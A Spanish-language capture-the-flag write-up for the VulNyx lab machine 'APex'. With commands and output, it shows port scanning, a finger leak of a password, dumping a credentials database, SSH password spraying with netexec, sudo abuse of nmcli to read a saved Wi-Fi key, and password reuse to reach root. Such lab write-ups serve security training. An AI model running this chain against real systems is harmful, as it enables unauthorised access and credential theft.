Information

APex es una máquina Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:22 CET
Nmap scan report for 192.168.1.43
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
79/tcp open  finger
80/tcp open  http
❯ nmap -sVC -p22,79,80 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:25 CET
Nmap scan report for 192.168.1.43
Host is up (0.00044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open  finger  Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: The all seeing eye...
|_http-server-header: Apache/2.4.62 (Debian)

Shell (seth)

80/TCP (HTTP)

Site: /

Directory Fuzzing
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.43/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.43/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup               (Status: 401) [Size: 459]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================

Site: /backup

La ruta /backup se encuentra protegida por un auth_basic, realizo técnicas de password guessing sin éxito.

OSINT

Enumero a horus como nombre de usuario mediante búsqueda inversa sobre la imagen en Yandex.

79/TCP (FINGER)

Connect

Me conecto al servicio finger con el usuario horus y obtengo un password.

❯ finger horus@192.168.1.43
Login: horus          			Name: 
Directory: /home/horus              	Shell: /bin/bash
Never logged in.
Mail forwarded to horus@point.nyx
No mail.
PGP key:
personal notes: H0Ru$$3rv3
No Plan.

80/TCP (HTTP)

Site: /backup

Vuelvo al sitio web a la ruta /backup y accedo con las credenciales obtenidas horus:H0Ru$$3rv3.

Encuentro el archivo database.db que parece una exportación de una DB tipo sqlite3.

❯ wget -q "http://192.168.1.43/backup/database.db"
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Database Dump

Obtengo credenciales de varios usuarios en la tabla users.

❯ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy

22/TCP (SSH)

Password Brute Force

Creo una wordlist con los usuarios y otra con los passwords.

❯ cat dump ; echo
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy

❯ cut -d '|' -f 2 dump |tee users.dic
anubis
amon
seth
osiris

❯ cut -d '|' -f 3 dump |tee pass.dic
L44NxKRnP7wxrBsxibpDORySkbEHRO
xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
ITA96l3isg4uV2Sm8eYn41XVfxprFy

Obtengo éxito con las credenciales del usuario seth con netexec.

❯ netexec ssh 192.168.1.43 -u users.dic -p pass.dic --continue-on-success
SSH         192.168.1.43    22     192.168.1.43     [*] SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
SSH         192.168.1.43    22     192.168.1.43     [-] anubis:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] amon:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] seth:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] osiris:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] anubis:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH         192.168.1.43    22     192.168.1.43     [-] amon:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH         192.168.1.43    22     192.168.1.43     [+] seth:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf  Linux - Shell access!

Connect

Accedo al sistema como usuario seth con las credenciales obtenidas.

❯ sshpass -p "xqRu08ZA3BihR4lKdJVYcP1x6HjZUf" ssh seth@192.168.1.43 -o StrictHostKeyChecking=no 2>/dev/null
seth@apex:~$ id ; hostname
uid=1001(seth) gid=1001(seth) grupos=1001(seth)
apex

Privilege Escalation

Enumeration

Sudo

Al hacer sudo -l parece que sudo no se encuentra instalado.

seth@apex:~$ sudo -l
-bash: sudo: orden no encontrada

Puede que sudo si esté instalado pero fuera del PATH y al llamarlo de forma relativa en lugar de absoluta no lo encuentre.

Con find localizo el binario sudo ubicado en la ruta /usr/sbin que se encuentra fuera del PATH.

seth@apex:~$ find / -name sudo -type f -exec ls -ld {} \; 2>/dev/null
-rwsr-xr-x 1 root root 182600 ene 21 10:49 /usr/sbin/sudo
seth@apex:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Ahora si puedo hacer uso de sudo desde la ruta absoluta.

seth@apex:~$ /usr/sbin/sudo -l
Matching Defaults entries for seth on apex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User seth may run the following commands on apex:
    (root) NOPASSWD: /usr/bin/nmcli

Abuse

Binary (nmcli)

El usuario seth puede ejecutar como root el binario nmcli con sudo, en el man de nmcli se puede observar que permite una multitud de funciones relacionadas con redes de todo tipo.

Wi-Fi Network Enumeration

Listo redes inalámbricas almacenadas en el sistema y encuentro una red WIFI llamada MikroTik_AP.

seth@apex:~$ /usr/sbin/sudo -u root nmcli connection show
NAME         UUID                                  TYPE  DEVICE 
MikroTik_AP  e25d230b-bb26-4488-b2e0-1b94dac2b9cd  wifi  --    

La red MikroTik_AP fue creada por el usuario root y otros usuarios no disponen de permisos.

seth@apex:~$ find / -name MikroTik_AP 2>/dev/null
/etc/NetworkManager/system-connections/MikroTik_AP

seth@apex:~$ ls -l /etc/NetworkManager/system-connections/MikroTik_AP
-rw------- 1 root root 227 ene 21 18:39 /etc/NetworkManager/system-connections/MikroTik_AP
Saved Wi-Fi Credential Retrieval

Al poder ejecutar nmcli como root con sudo obtengo el password de la red MikroTik_AP.

seth@apex:~$ /usr/sbin/sudo -u root nmcli -s -g 802-11-wireless-security.psk connection show "MikroTik_AP"
WIFI_p@$$w0rd_is_$up3r_$3cur3

Credentials Reuse

Me convierto en usuario root mediante una reutilización de credenciales.

seth@apex:~$ su - root
Contraseña: 
root@apex:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
apex

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@apex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
c03c45**************************
cb991c**************************

Hasta aquí la resolución de la máquina APex de VulNyx.

Happy Hacking! 🙂